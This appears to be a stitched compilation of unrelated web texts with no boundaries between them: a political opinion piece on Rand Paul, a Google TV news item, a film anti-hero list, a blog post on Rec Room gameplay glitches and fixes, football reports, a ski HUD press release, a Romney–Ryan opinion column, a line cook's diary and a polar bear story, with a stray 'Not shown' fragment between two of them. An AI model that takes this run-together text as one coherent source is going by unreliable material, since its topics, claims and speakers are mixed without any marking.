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Despite being constantly smeared as an extremist, a racist and someone who is unfit for office, Paul’s early slim lead over Conway has consistently grown after each hit piece, proving that the establishment media is so distrusted, despised and discredited, that when they attack someone, it actually helps to increase their popularity amongst the American people.
At one stage, neo-cons and neo-libs alike claimed that Paul’s nuanced philosophical view on one of the ten titles of the Civil Rights Act, which the media twisted to the point where Paul became a de facto Klan member, had led to the ‘collapse of his political career’.
Media hacks who consider themselves to be part of the establishment still have the arrogance to think that they can dictate the nature of reality with the stroke of a pen or the tapping of a keyboard. The fact that Paul has stretched his lead over Conway despite coming under savage attack from every angle proves that these individuals are still living under the delusion of believing the mainstream press still holds gravitas.
A recent Gallup poll showed that just 25 per cent of Americans have a “great deal” or “quite a lot” of confidence in newspapers or television news. That figure has dropped by 10 per cent since 2003.
The failure of the establishment to tear down a candidate who promised the American people that he would help “take back our country” from the Washington elite is a damning indictment of how much power to manipulate people the system has lost over the last decade.
The primary tool that the establishment has used to destroy anyone who threatens their power monopoly in the past, corporate media demonization, smear campaigns, and dirty tricks, has been blunted beyond repair.
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With trust in mainstream media collapsing year after year, the ground is fertile for more and more anti-establishment candidates to replicate Paul’s success and take back Washington one step at a time.
Not shown: third line reading 'TV decides it doesn't like Web so much.' Photo by dailylifeofmojo on Flickr. Some rights reserved
Google TV is struggling. Already. The New York Times reports that Google has asked TV makers who were planning to show it off at the upcoming Consumer Electronics Show (in the first week of January) have been asked to hold back from showing it off so that the software can be refined following its definitely lukewarm reception from reviewers.
Not being at CES is a big setback for Google TV as a concept: it's the traditional place to show off your wares and set up what you're going to do in the year ahead. For the TV makers - Sony, Toshiba, LG Electronics, Sharp - which were going to wow the world (they hoped) with their Google TV-running wares, it's a slap in the face.
Quick flashback to May: Google suggested that it would bring you as much TV as you could search for, and do it interactively.
The question now is whether Google is going to fall into the chasm that has swallowed so many internet TV efforts. Remember Microsoft's WebTV? No? Or how about the more recent efforts by Joost? An archaeologist of the internet could probably find dozens of internet TV efforts, but none has come to anything much. Google thought it could do differently, but it ran first into the problem of how different TV screens and computer screens are (one far away, one close) and second that the interaction mode is so different - which means you don't want to type web addresses.
Plus there was the problem that in the US, which is the only place that Google TV launched, the networks froze it out: in mid-November Fox joined ABC, NBC and CBS in refusing to let Google TV devices access their sites and hence streaming services. Possibly Google didn't expect that bit when it announced Google TV with much triumphalism back in the summer. (You can call the networks "dinosaurs" if you like, but they could point out that if they're such dinosaurs, why is Google so keen to access their stuff?)
GTVHub ("your source for everything Google TV") hadn't caught on the NYT story over the weekend, and was instead reporting that Google is planning to extend movie streaming in 2011 - perhaps with an announcement at CES. Well, no.
But the Google TV effort shows Google once again struggling to come up with a coherent product launch. True, TV is perenially difficult to do. But Google is also being criticised for throwing so many ideas against the wall to see which ones stick, because after a few (hello goodbye Google Wave, hello Google Buzz are you going?) it starts to look unfocussed, and if you have something which really requires management focus, such as TV - where getting the deals lined up is essential - then it looks amateurish to mess it up.
Or as one analyst put it to the NYT:
"'Google as a company is not a particularly partner-friendly or partner-focused company,' said James L. McQuivey, an analyst at Forrester, who added that because of the delay, it might take another year before Google TV has a chance to catch fire."
Samsung will be showing two Google TV appliances, and Vizio will display them, but privately away from the show floor. (We'll hunt them down...)
And it seems the punters haven't been enthralled: the NYT looks at the Amazon ratings and finds that nearly one in five buyers gave their Google TV gear just one star, complaining of slow performance and limited features.
Until now, Google has been able to assume that content acquisition is easy - though you might have thought that the long drawn-out row over its scanning of copyrighted books might have taught it to be more careful.
McQuivey reckons the company needs to learn how to charm its potential partners - on the content side too. As he told the NYT:
"Google needs to learn some of those abilities — both in terms of partnerships with broadcasters and working with hardware partners," he said. "You can give me the recipe for the absolute best chocolate chip cookies in the world, but until I put the ingredients together and bake them at exactly the right temperature for the right time, they're not cookies, and that's where Google TV is."
The definition of an anti-hero as a character who performs acts that are generally deemed or thought to be heroic, but he/she will do so with methods, actions, manners, and intentions that are not so. I also tend to add that there is a touch of darkness surrounding anti-heroes, a sense of danger that doesn’t go away. With that definition, who are the ten best to ever grace the cinema screen?
10. Erik Draven (the Crow)
The Crow (1994)
This is a modern classic. Some people would argue that the crow is more of a hero, but there’s tons of darkness around this character, more than a hint of insanity, and he will kill anyone who gets in between him and his revenge. That’s where the difference is. If he just killed the murderers, fine, but he kills the whole gang, works his way up the chain, and kills anyone in collusion. Just? Sure, but still an anti-hero.
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9. “Mad” Max Rockatansky Mad Max & Sequels (1979)
Mad Max is a great example of an anti-hero. He walks away from being a cop to wage a war of vengeance, and as the world falls apart, he re-appears, always thinking about himself first, and willing to help survivors only if they had something to offer him. By the third movie he’s just a shell, who refuses to go with people who would care for him, love him, because he goes alone. He only helps others when he has something to lose by not doing so, making Mad Max one of the most beloved anti-heroes of all time.
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8. Snake Plissken
Escape from New York (1981)
Snake Plissken is the epitome of a bad boy “hero.” He is a convict, he hates the government, wants to drink and smoke, and doesn’t give a crud about authority. He is a bad guy, but mostly because his need to be self-serving contradicts with the government and authorities. Put in situations to do good, he does, even if coerced, and he often seems to have more morals than the “good guys” that he’s working for. That being said, he doesn’t do good for anyone unless he gets something out of it. Snake has darkness all around him, and his “me first” attitude and ability to fight off (or fit in with) the worst scum make him a futuristic anti-hero.
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7. Harry Callahan Dirty Harry (1971)
“Do I feel lucky? Well, do ya, punk?” This is now one of the most famous lines in all of cinema. Harry Callahan, nicknamed “Dirty Harry,” is known as a renegade cop who doesn’t care about breaking the law (specifically the rights of the criminal) to get the job done. Dirty Harry has a very clear sense of right, but he is a “the ends justify the means” type of guy, which keeps him in the doghouse and puts him on this list.
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6. Tyler Durden Fight Club (1999)
Tyler Durden is the modern anti-hero! Anti-capitalism, anti-credit card, he’s against being made into a zombie and he hates big brother. This film delves into a modern society, always broken, always needing a fix. He is the strong, independent, “alive” man that most men want to be, fighting against obvious wrongs we feel powerless against, but for no good moral reason, but because he can. He does what he does because he wants to, and if some of us want to join a fight club and see him as heroic, that’s just part of the ride.
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5. The Man With No Name / ”Blondie”
The Dollars Trilogy (1964, 65, 66)
Clint Eastwood makes this list twice, but it’s hard to beat his “man with no name” from the Westerns. A man with a dark past, no future, and he knows how to kill and how to move on after killing. He’s not kind, but he is righteous. He’s a killer and he knows it, but he will only kill other killers. He has no name because he has no future, but he has a true code of honor. Not good, not bad, but honorable: the perfect anti-hero.
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4. The MacManus Brothers (Connor & Murphy) The Boondock Saints (1999)
Troy Duffy’s cult classic follows two Irish brothers who are deeply devoted to their faith, yet fully accepting of the idea of being “the vengeful hand of God.” These two brothers cuss like Quentin Tarantino, drink like a bad Irish joke, and shoot without remorse…but they will ONLY shoot bad guys. They won’t even go after the FBI agent trying to nail them.
This story starts as self defense against a couple Russian thugs from the Russian mafia, and evolves following the brothers as they decide that doing nothing with evil all around is far worse a sin than killing evil men. This study in vigilantism creates the brothers as great anti-heroes, even as they murder bad guy after bad guy, and the last scene, where a bad guy is executed in front of his family (mom, wife, and all) makes it clear that they may be likable, but as Agent Smecker says in the film “They are not superheroes triumphing over evil.” But they are amazing anti-heroes.
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3. D-Fens Falling Down (1993)
This is a true cult classic. Many people love this movie, or they hate it. Michael Douglas plays the part of “D-Fens,” a normal man who has a terrible day during an unusually hot Los Angeles summer day. He tries to get home to his daughter’s birthday party, but is accosted time after time by a society that isn’t fair—and like many of us has thought about, he fights back, becoming a vigilante and getting increasingly violent as his sanity is obviously going out the window.
From an Asian grocer overcharging badly, to crap fast food that doesn’t look like the picture, to two gang members trying to rob him, to a Neo-Nazi who breaks his snow globe…he faces the daily things that piss every person off, and even though he certainly is not “good.” How he tries to fix what’s broken is poetic, but by the end he’s cracked and a killer, but one who is easy to sympathize with because he just got pushed too far.
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2. Leon Leon: The Professional (1994)
There have been few movies so beautifully woven, few characters like Leon, played by Jean Reno. Leon is a professional assassin who lives in a shady part of New York City. He lives next door to a 13 year old Matilda, who is part of a dysfunctional family. When the family is killed by a corrupt DEA agent, Leon reluctantly agrees to take care of the young girl.
She asks questions that are unnerving, asking Leon to be her first lover (thankfully he refuses) and asking personal questions along that nature. In the extended version there is a suggestion that there is more than a father daughter relationship, and while he “protects” her, he teaches her how to be a killer. Leon never appears as a warm figure. Even in a “heroic suicide,” he is still a murderer and without remorse, but it was in defense of another.
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1. Travis Bickle Taxi Driver (1976)
No matter what list you look at of top anti-heroes in movies, Robert De Niro’s portrayal of a cab driver gone vigilante is right at the top of everyone’s list. This is especially amazing considering how many good anti-heroes are out there in movies, and there is wide disagreement on top ten lists, but Travis Bickle is a great example of how the darkness can seep in.
First off, we as the audience tend to sympathize with him, but his motives remain unknown throughout the film which makes it hard to stay with his actions, especially as it becomes clear that he’s not completely all there, and then the assassination attempt of a political candidate seems straight out evil until he saves a child prostitute, but his head is so messed up you don’t know why he’s doing anything any more, making even heroic actions seem, well, really creepy.
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George Kushnir (https://n4ru.it) Blocked Unblock Follow Following Dec 16, 2016
I’ve been in love with my HTC Vive and Virtual Reality in general these last few weeks, to the point where I spend most of my computer time using Virtual Desktop and a virtual 4K display via a headless “monitor” adapter. I’ve also been getting pretty good at VR Paintball.
While trying to maximize my “skill” in Rec Room on the HTC Vive, I ended up discovering a small trove of exploitable goodies that are demoed above. Hopefully the developers don’t see it fit to ban me since the game itself isn’t competitive and I’m posting this for them to fix it (and to have a bit of fun of course). If I do get banned, oh well. It was fun!
So lets walk through the exploits I found in Capture the Flag Paintball (the most played game in Rec Room as far as I can tell) that flat out breaks it and makes it very annoying for everyone. They’re in order below, from least to most game breaking, with the time in the video in parenthesis.
Weapon Upgrade (3:06)
It started out with this. I realized that you could start with two pistols if you grabbed one in your base as the the game started. This was far from anything serious, and it didn’t really help much other than saving a small bit of time. If the game was competitive, this could have been a big deal on its own. I knew about this for some time, then it was only last night after playing for weeks that I realized — you can leave your starting area before the game begins. Naturally, I got curious and tried this with other things — Sniper Rifles, Shields, Shotguns, Grenades — they’re all accessible with this exploit. The shield is particularly useful, and in maps like Quarry they’re great in combination with the Sniper Rifle in your base to gain a decent edge in the beginning.
Keep-away the Flag (3:26)
Against Gravity fixed an exploit a while ago where you could clip through walls by walking into them in your real life space (into the virtual walls obviously) and fire by just reaching out with your gun. Well, sorta. You’ve always been able to do this and still can, but you can’t fire without your entire hit box being outside of an object. This meant you could still camp inside areas and jump out without being seen. While this alone is nice and actually a decent edge, it allows you to lock out a game all by yourself. In the video it’s shown combined with a floor clip (“Fix Floor” with your controllers above your head so it puts you under the floor), but that’s not necessary. You can simply grab the flag and step out of bounds. Even if someone comes after you by also clipping — no one can shoot outside of bounds — essentially locking the game. If you combine this with the Instant Flag Capture below, you can lock out a game within 30 seconds of it beginning and guarantee your team a win. It’s pretty bad. Unfortunately, it doesn’t end there. Why lock the game and force a 10 minute wait, when you can literally just win in 30 seconds?
EDIT: It appears the “Out of Bounds” bug can only be exploited in certain areas, while others WILL actually tell you to get back into bounds before respawning you. Unfortunately I’ve still found far too many places it does work.
Instant Capture the Flag (3:26 / 1:44)
I didn’t set out to find this game breaking bug, but when a friend mentioned if I had tried the Weapon Upgrade exploit with the flag, I immediately thought “there’s no way, the flags don’t spawn until the game even begins”. I was too curious to not give it a shot. Well, it actually works. There’s two parts to this bug, and the second one is arguably far worse than the first. 3:26 in the video shows two exploits combined — this flag grab exploit at the start of the game — and the Out of Bounds “bug”. I didn’t have to keep the flag away — I could have immediately grabbed their flag at the start of the game and then captured it, starting off with a 1–0 lead for my team. Pretty ridiculous, right? We could just turtle our flag and guarantee a win! Well, yes — or you can repeat this immediately and just win. Starting at 1:44, I do this with the “mid-game” version of the exploit. When you connect mid-game, you can step out of the spectator area without being assigned a team for several seconds. While in this mode, you can instant teleport. That includes teleportation into any base with a flag. Then all you do is wait until your team is assigned, and the second before you teleport, grab the flag. Yes. If you started a game in “River” after doing the start of game version of this exploit, you can immediately quit and rejoin the same game, then do this exploit ad nauseum by grabbing the flag as you are changed from a spectater to your team color but right before you are teleported. How do you know what team you will be on? Check the scoreboard, chances are you’re gonna be on the team with the least players. If it’s tied, take a gamble. You can always just rejoin and try again immediately.
Fixing all three bugs
This should be surprisingly easy from an outsider point of view. All three bugs essentially exist under a couple of premises:
Items are spawned before the game begins. The flag is allowed to exist outside of game bounds. You are assigned a team before being spawned at your base. There’s a small window that allows action before being teleported.
Items are spawned before the game begins.
This is done purposely — for practice. However, instead of being despawned between the end of practice and the start of the round, you are just forced to drop them. This would be fine if it wasn’t for 4. This could be fixed by despawning items entirely then respawning them immediately after the game begins, but this isn’t necessary if you fix 4.
The flag is allowed to exist outside of game bounds.
Fixing 4 won’t fix this one. There are already checks that disable guns if they are outside of the game’s bounds. This should be enabled for flags in that you should drop the flag if you go into a wall. The unfortunate side effect of this would be flags would get dropped when just moving past tight areas since the flag is tall. Alternatively, if your character is detected outside of bounds, the timer could start like it does when you are under the floor, causing the flag to drop to the nearest inside of bounds area if the timer runs out.
You are assigned a team before being spawned at your base.
Another issue that is fixed by changing 4, but the alternative would be to simply wait until you are spawned at a base before actually assigning your team, making you unable to grab a flag since you’d still be a spectator. Fairly simple.
There’s a small window that allows action before being teleported.
I don’t know why this happens. Oddly enough, when you are hit and considered “dead” — before you respawn — you can NOT pick things up when you are about to be respawned. This seems to be the only time the pickup exploits don’t work no matter how many times I try to grab my weapon after dying. This leads me to believe this would be a simple fix since there’s already a “teleport soon” + “no action” state used in the game.
All in all, I can’t see why these bugs can’t or shouldn’t be fixed fairly quickly. I’m hoping this disclosure gets them fixed soon. If there was a bug bounty, I’d have submitted this there, but writing this first would surely disqualify me from it either way. Oh well. Thanks for the great game!
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Uefa have almost concluded their investigation into the crowd trouble that marred Napoli's home win against Marseille two weeks ago and the fear in Naples is that the governing body will make an example of them and impose a ban on all supporters for the final Group F fixture against Arsenal on 11 December.
Arsenal do not expect Uefa to order the exclusion of fans and are pressing ahead with their usual plans to look after the supporters who want to travel.
Napoli's 3-2 win over Marseille put them joint top of the group with Arsenal but there was fighting between rival fans outside the San Paolo. Ten people were injured and riot police had to intervene. Flares were set off inside the stadium and there were complaints about Napoli's organisation of the event.
The San Paolo creates one of the most passionate atmospheres in European football and Napoli would not want to be without their fans for a tie that could hold the key to their qualification. Before Arsenal's visit, the Italian club travel to Dortmund to play Borussia on Tuesday of next week. Arsenal face Marseille at home on the same evening. Dortmund sit three points behind Arsenal and Napoli.
Wojciech Szczesny, meanwhile, is confident that Arsenal's current squad is strong enough to extend their excellent start to the Premier League campaign and challenge for the title without further significant strengthening during the January transfer window.
The London club's defeat at Manchester United just before the international window trimmed their lead at the top to two points ahead of the visit of third-placed Southampton to the Emirates Stadium on Saturday. That loss was only a second in 11 games this term, and a fifth in 30 matches over the calendar year, with the team's new-found consistency cause for future optimism.
Arsenal have clearly benefited this term from the club record £42.5m arrival of Mesut Özil from Real Madrid, with Arsène Wenger expected to add further to his options in January to maintain the club's challenge.
The Schalke midfielder Julian Draxler, a long-standing target, has indicated he would not be willing to move mid-season but the London club are expected to pursue a forward to compete with Olivier Giroud, and interest is retained in Real Madrid's Karim Benzema.
"I wouldn't say we have proved anyone wrong and passed all the tests, and I can't say that until we get our hands on a trophy in May," Szczesny said. "But what is important is what we believe in, and we believe that we are good enough with the players we have got and the work we are doing to win the Premier League.
"We have shown that to people over the last six months or so. We know that if we just carry on doing the same thing, we will show people that this team and these players are good enough to win a trophy without any extra additions or the extra work people are talking about. We certainly believe we can do it.
"It's been almost 12 months really because it is not only this season we've been doing well. It was the last two or three months of last season, where we went unbeaten for a few games [they lost once in 16 league games].
"We are confident that we see the quality is there and we know that, when we play at our very best and do it consistently well, we can beat anyone, basically. A couple of years ago there was a case of not being consistent enough, individually or as a team, but now you can see that whoever comes into the team does a fantastic job. It seems to be bringing results. If we are at our best we will win a trophy."
Southampton, unbeaten in eight league games stretching back to August and a side who have already won at Liverpool and drawn at Old Trafford, will provide a stern test of those credentials at the Emirates with their trio of England players – Rickie Lambert, Adam Lallana and Jay Rodriguez – all expected to feature.
One year after finishing last in the CAA with an 0-8 record, the Tigers (9-2, 7-1) completed their inspiring drive to their first CAA championship with a tense 28-17 come-from-behind victory over Rhode Island (3-8, 2-6) at Meade Stadium on Saturday afternoon.
Combined with New Hampshire's 30-27 win over Maine, the Tigers won the CAA championship outright. They earned the CAA's automatic qualifier for the NCAA FCS Playoffs.
The Tigers will learn their NCAA FCS playoff destination on Sunday morning at 10 a.m. on ESPNU. The team will be meeting at PAWS in the University Union to watch the show.
“We knew this was going to be a very tough game for us,” admitted Towson Coach Rob Ambrose . “Rhode Island might be the best three-win team in college football. We were fortunate to get out of here with a win.
“This is such a great moment for Towson football,” Ambrose admitted. “Winning a championship in the CAA is a tremendous accomplishment. This championship is for everyone who has ever worn a Towson football uniform. As a coach, you couldn't ask for anything else from a team. At the start, the only ones who believed in us were ourselves, the Towson University community and the Towson football alumni.”
For the first time since their Oct. 15 victory at Old Dominion, the Tigers were forced to come from behind to win.
The Tigers came into the game averaging 248 rushing yards per game but the URI defense held them to a seasonal low 154 yards rushing. Freshman standout Terrance West , who entered the game as the CAA rushing leader, was held to 52 yards on 19 carries.
Cast in the role of spoiler, Rhode Island took control in the first quarter as the Rams outgained the Tigers, 116-to-19 yards. The Rams won the opening coin toss and marched deep into Towson territory. After quarterback Robert Bentsen was sacked on third down by Matt Morgan at the 11-yard line, the Rams went for a field goal. Senior Louie Feinstein booted a 28-yard field goal to give URI a 3-0 lead.
After the Rams' defense forced a punt by the Tigers, URI marched 62 yards in ten plays to take a 10-0 lead. Under heavy pressure, Bentsen completed a 20-yard pass to tight end Joe Migliarese, giving URI a 10-0 advantage with 52 seconds left in the first quarter.
“We knew we'd get our chance,” said Towson quarterback Grant Enders . “We have a lot of confidence and we knew we would be able to move the ball.”
On their second possession, the Tigers' offense got itself in gear. They marched 67 yards in eight plays to cut their deficit to 10-7 when West scored his 26th touchdown of the season on a three-yard run. Facing third-and-four at the URI 14-yard line, Enders ran for six yards to set up first-and-goal. Two plays later, West scored his touchdown.
After receiving the kickoff, the Rams had great field position, thanks to a personal foul penalty on the Tigers. Starting at their own 45-yard line, the Rams moved into Towson territory. Facing fourth-and-11 at the Towson 41-yard line, Feinstein tried a fake punt. The Tigers weren't fooled and Romale Tucker tackled Matt Rae at the Tigers' 39-yard line.
The Tigers capitalized on their break almost immediately. They marched 61 yards in 12 plays and used up more than six minutes. Trea Jones and Enders each converted a third down on the drive. Jones ran for five yards on 3rd-and-four to move the ball to the 20-yard line. Enders' eight-yard run gave the Tigers a first down at the Rams' ten-yard line. On the next play, West scored his second touchdown of the game on a ten-yard run. When D.J. Soven converted, the Tigers had a 14-10 lead with 1:53 left in the half.
In the final minute of the half, the Rams drove into Towson territory but Feinstein missed a 38-yard field goal as the Tigers owned a 14-10 lead at intermission.
On their opening drive of the third quarter, the Tigers drove 65 yards on nine plays to extend their lead to 21-10. A 30-yard pass from Enders to tight end Mike Evans moved the Tigers into URI territory. Several plays later, Enders completed a 21-yard TD pass to junior Tom Ryan to give the Tigers a 21-10 advantage.
However, an unsportsmanlike conduct penalty on the Tigers for excessive celebration enabled the Rams to get excellent field position for their next drive.
The Rams got the ball at the Tigers' 49-yard line to start the drive. Facing fourth down-and-two at the Tigers' eight-yard line, senior fullback Chris Mancuso barely got the first down with a two-yard run. On the next play, senior defensive tackle Willie McGinnis came into the game at running back and took the handoff. He scored the first touchdown of his career on a six-yard run.
Trailing by 21-17, the Rams received a huge break when senior Evan Shields recovered a fumble at the Tigers' 44-yard line. However, the Tiger defense came up with a huge stop and forced a punt.
On the second play of the fourth quarter, senior safety Nick Oates came up with the Tigers' biggest defensive play of the game when he intercepted a pass at the Tigers' 17-yard line.
After a punt by R.J. Peppers backed up the Rams at their own 17, a fumbled lateral by Brian Johnson -Farrell pushed URI back inside its own ten-yard line. When Feinstein punted from his end zone, the Tigers took over at the URI 41-yard line. Five plays later, Enders completed an 18-yard touchdown pass to Ryan, his second of the game. That gave the Tigers a 28-17 lead with 6:06 remaining.
The Tiger defense came up with another stop with 4:25 left in the game. On fourth down-and-one, Rob Osborne tackled Bentsen for an eight-yard loss. The Tigers took over on downs at the Rams' 39-yard line and ran out the clock.
Enders led the Tigers with 272 yards of total offense. He completed 20 of 26 passes for 212 yards and two touchdowns. He was also the Tigers' leading rusher with 60 yards on eight carries.
“The release of Engage is what all iPhone users of our HUD technology have been waiting for. Until now, only Android smartphone users have been able to take advantage of the SMS, caller ID and music control functions offered by our HUDs. We are excited that iPhone users now have these game-changing features available to them.” said Dan Eisenhardt, CEO of Recon Instruments. “These features are a big part of our completely new Engage platform”.
The new software is available for download a the company’s website.
The package includes capabilities for iOS users, but also upgrades the user experience across the board. Recon’s brand-new Radar app utilizes the HUD’s built-in precision GPS sensors to give the wearer access to their current location, and lets them track their friends on the slopes using a 3D interactive resort map. With a simple click of the HUD’s wireless remote, users can quickly switch between views without even needing to take off their gloves!
Radar View: provides a high-level snapshot of the resort and shows the user’s location and points of interest. GPS ensures the resort maps load automatically from the bank of 600 maps stored on the HUD. Perspective View: gives the user a closer view at the resort maps, facilitating navigation in real-time. The angle of view on the interactive map adjusts with the user’s every head movement. Compass View: for backcountry skiers and riders away from the comfort of a ski resort, the compass view allows them to navigate the traditional way, wherever they are on the mountain.
The new Engage platform implements smartphone applications for both Android and iPhone users, allowing them to view and upload trip information to the Trip Viewer. After a day of fun on the mountain, Recon users can review their daily stats, and re-live their exploits from the slopes. The Engage platform also integrates access to the leading social networks, so users can share their accomplishments with all of their friends and followers.
Along with the Trip Viewer, Recon’s Engage platform features apps that provide streamlined access to user’s text messages (SMS), caller ID, and music controls.
Romney had already adopted the message before announcing the Ryan pick. In an interview with Chuck Todd, Romney piously called for both campaigns to forswear attacking one another’s personal history or business career: “our campaign would be — helped immensely if we had an agreement between both campaigns that we were only going to talk about issues and that attacks based upon — business or family or taxes or things of that nature.” So, under this thoughtful approach, Obama couldn’t attack Romney’s business record, which he’s running on, but Romney could attack Obama’s political record. It’s unclear whether this truce would allow Romney to continue to attack Obama for not having a business career.
The Washington Free Beacon, a new entrant in the right-wing media race to the bottom whose founding credo (“Do Unto Them”) is an abnegation of any standards of intellectual honesty or fair play, fired off a furious editorial raging at Obama’s “ugly” and “dishonest” tactics. Karl Rove endorsed it, and not coincidentally, Rove’s super-PAC on Friday unleashed an ad wallowing in moral indignation at Obama’s devious personal attacks. The ad, at a minute and seventeen seconds long, is clearly not intended for television, and is at least partly aimed at the political press corps, which has already expressed near-unanimous disgust at a pro-Obama ad accusing Romney of indifference to, and at least partial responsibility for, the death of the wife of a laid-off employee.
The as-yet-unaired ad was pretty bad, all right, and Jay Carney’s disavowal of responsibility, after having angrily demanded that Romney denounce an ad by a right-wing super-PAC, was comic. But were it not for Ryan, Romney’s effort to cast himself as the champion of high-minded and honest campaigning would be laughed out of court. Romney began his campaign by unleashing a hilariously dishonest ad showing Obama from 2008 quoting John McCain and portraying the quote as Obama’s own words, and when pressed defended the ad on the grounds that “that’s his voice.” Romney never stopped issuing a stream of utter fabrications, particularly employing his campaign’s favorite device of stitching together Obama quotations or pulling them out of context to create new meanings for them. (When Obama recently argued that reducing the deficit through a mix of spending cuts and tax hikes on the rich “worked” in the nineties, Romney turned it into an ad portraying Obama as having claimed the Obama economic program had worked — as in, he is unconcerned about economic suffering.) His campaign has accused Obama of launching a “war on religion” and deployed a surrogate to discuss his youthful drug use and call him un-American.
How can Romney, whose campaign spent months relentlessly smearing Republican and Democratic foe alike and spitting derision at the naïveté of anybody who objected, reclaim his political virginity? By bathing in Ryan’s soft glow.
One underrated aspect of the new GOP veep nominee’s political arsenal is a recurring persona of his that you might call Sad Paul Ryan. Sad Paul Ryan is less an ideological crusader and more like a wide-eyed boy who has come to Washington full of hope only to have his youthful dreams crushed by nastiness and name-calling. How Ryan’s high-minded belief in the purity of political debate managed to survive his rise to power as a Washington staffer, I cannot say. So emotionally vulnerable is Sad Paul Ryan that even a statistical recitation of the effects of his plan will nearly reduce him to tears. He is capable of complaining that Obama will “affix views to your opponent that they do not have so you can demonize them” — two sentences after accusing Obama of advocating “socialized medicine.”
Yet Sad Paul Ryan appears so genuinely sad when he says such things — quite likely because he lacks the self-awareness that might complicate his earnest dejection — that he melts the cynicism of hardened observers. So Romney’s advisers are now proclaiming, “We are betting that a substantive campaign, conducted on the high ground, and focused primarily on jobs and the economy, will trump a campaign that is designed to appeal to our worst instincts,” and the candidate himself is delivering lines such as “Mr. President, take your campaign out of the gutter and let’s talk about issues.” (Talking About the Issues is Ryan’s thing, unless talking about the Issues means discussing any specific element contained within his plan, in which case he would rather talk about bowhunting or catfish noodling.) Romney and Ryan inaugurated their new high-road campaign with the charge that Obama “robbed” $700 billion from Medicare, declining to mention that their own plans keep the same cuts in place.
Now, adopting a persona of high-mindedness does not have a perfect track record in American politics. But it’s not a hopeless gambit, either. George W. Bush in 2000 successfully convinced the campaign press corps that Al Gore was a serial liar, and when the press pack suddenly decided in October of that year that Al Gore’s lies were the story of the race, his poll numbers fatally swooned. Many undecided voters pay little attention to the issues and simply form impressions of the candidates, rooted in broad personal appraisal.
My workday starts at noon, which is an awkward time. I usually set my alarm for 9 AM in the hope of getting in some form of exercise before work. Most days, though, I end up getting up around 11, speed-walking to the train station with a cup of Dunkin' Donuts coffee but no time for actual breakfast, and rushing into work all flustered. Then comes a four-hour period when food is somehow both the first and the last thing on my mind. I spend those four hours — which go by so fast that they feel like one hour — prepping food like a crazy person. There is no time.
I am running up and down stairs between a kitchen and a walk-in refrigerator, stressing about whether or not I will have enough of this or that for dinner service. Every movement is calibrated for efficiency. When I first started working in restaurants I could never get it all done. It takes practice. And you're not done until every thing you will need for the night is assembled, portioned, properly seasoned, at the right temperature, and ready to go. This is called mise en place.
During these four hours there's no eating. There's tasting: I taste for seasoning, which means dipping a CLEAN spoon in something I've made, putting it in my mouth, then adding more salt.
I taste polenta and add salt.
I'll taste a salty cauliflower puree — then add more salt.
I taste creamed kale or spinach. Needs salt.
I taste acidic dijon dressings and fatty fried potatoes. Chef says more salt.
The braised brisket? Needs salt. The fried shallots? They...actually they've got enough salt. You get the idea. Lots of tiny tastes of salty delicious things.
I also spend a little time in the afternoons cooking some not-quite-as-delicious but still pretty tasty things for family meal — the food the staff eats for dinner. "Family" gets put up at 4:00 every afternoon. Because of time constraints, family meal is often deep fried — chicken wings are just so easy to make when you have a really long prep list to knock out — and even the salad has been known to contain leftover duck chicharones and garlic butter croutons.
Sometimes I'll eat family meal out of a quart container, but most often I make it and then completely forget about it because I have other things to finish before service.
At 5 PM, service officially starts and I stand in front of the stove, waiting for an order to come in. This is the first time all day that I've stood still. It also tends to be the moment when I realize that, yes, actually, I'm pretty hungry. Then all of a sudden, it occurs to me that I might faint if I don't eat.
At that point I grab a handful of the closest thing we have in excess, maybe a couple of oil-poached potatoes and three slices of prosciutto. My sodium intake is probably through the roof.
And I drink three quarts of water, because I am thirsty from tasting salty things and because it is SO. FUCKING. HOT behind the line. And this is January. Come June, I think I may literally faint right onto a sauté pan of scorching hot duck fat.
Anyway, service continues and eventually gets crazy busy. I continue to drink quarts and quarts and quarts of ice water (we drink out of quart containers, so that's how I measure my fluid consumption) to cool myself down.
All the while, the coat of dry sweat on my skin gets thicker by the minute; so much so that, by 9 o'clock, I am wiping a pretty thick layer of salt off of my arms. Gross, but seriously more physically exhausting than any Boot Camp class I've ever been to.
The night starts to slow down, and I pilfer a couple of steak ends from the grill guy, which I chase with a giant spoonful of creamed kale that I have leftover from a table that I accidentally over-portioned.
Everything is delicious, but also salty. I chug another quart container full of water and go stand over at the Garde Manger station for two minutes, because the heat from the stove is starting to really get to me.
Then, duh, I have to pee really really badly, but need to wait ten minutes because the last two tables just got fired and I have three fish and a duck to cook before I can step out of the kitchen.
The food goes out and I run downstairs, praying that there's not a line for the bathroom. There is, obviously, and by the time I get back upstairs, the sous chef is taking orders for shift-drink. I get wine. And truly, between all of the cooking and the sweating and the water-chugging and the stressing, it's not until I take two sips of alcohol and feel totally loopy that I realize I'm actually kind of famished.
"I had no idea what was going to happen, and then sure enough he started petting that dog, acted like he was a friend," David De Meulles said. "I just so happen to catch a video of a lifetime."
De Meulles recorded a video over the weekend that shows one of the Arctic predators towering over a dog, tenderly petting it while the two nuzzle in Churchill, Man.
De Meulles was born and raised in Churchill and said he's never seen anything like it.
He works as a heavy-duty mechanic in the northern community and occasionally picks up shifts as a tour guide for his friend who owns and operates North Star Tours.
These are like lions, these dogs. They're primitive and fearless. - Brian Ladoon
De Meulles drove two clients out to Brian Ladoon's property Saturday in hopes of seeing some polar bears known to spend time in the area. They got what they were looking for and more.
There were a tense few moments as a polar bear appeared and walked over to one of several dogs chained up.
The creature lumbered right up, raised its massive clawed forepaw and began patting the dog on its head.
"I've known the bears to have somewhat friendly behaviour with the dogs, but for a bear to pet like a human would pet a dog is just mind-blowing," De Meulles said.
"It was a beautiful sight to see, and I just can't believe an animal that big would show that kind of heart toward another animal."
'Nature's will'
What De Meulles and the tourists witnessed was a first for them, but it isn't entirely out of the ordinary for Ladoon.
"How they do it, it's not my will, it's nature's will," Ladoon said.
The lifetime northerner has been raising a rare breed of Canadian sled dog for more than 40 years on his land, which he said the government gave him in 1969-70 to help rescue the rare breed.
Little is known about the domestication history of the dogs, Ladoon said, but like their impressive white friends, they have a wild side.
"These are like lions, these dogs. They're primitive and fearless," Ladoon said.
Brian Ladoon says if the polar bears start misbehaving his dogs bark back and put them in their place. (YouTube)
While he's no longer shocked to see polar bears interact with his dogs, he didn't expect the two species to strike up such a familiar relationship early on.
"It is all of course probably a random chance happening that evolved at an accelerated rate because of the number of bears that were there, and the age group was perfect," he said.
Ladoon runs a casual operation; people reach out and he takes them to see the roadside spectacle for a fee.
Over the years he's had "plenty" of scares between the dogs and polar bears.
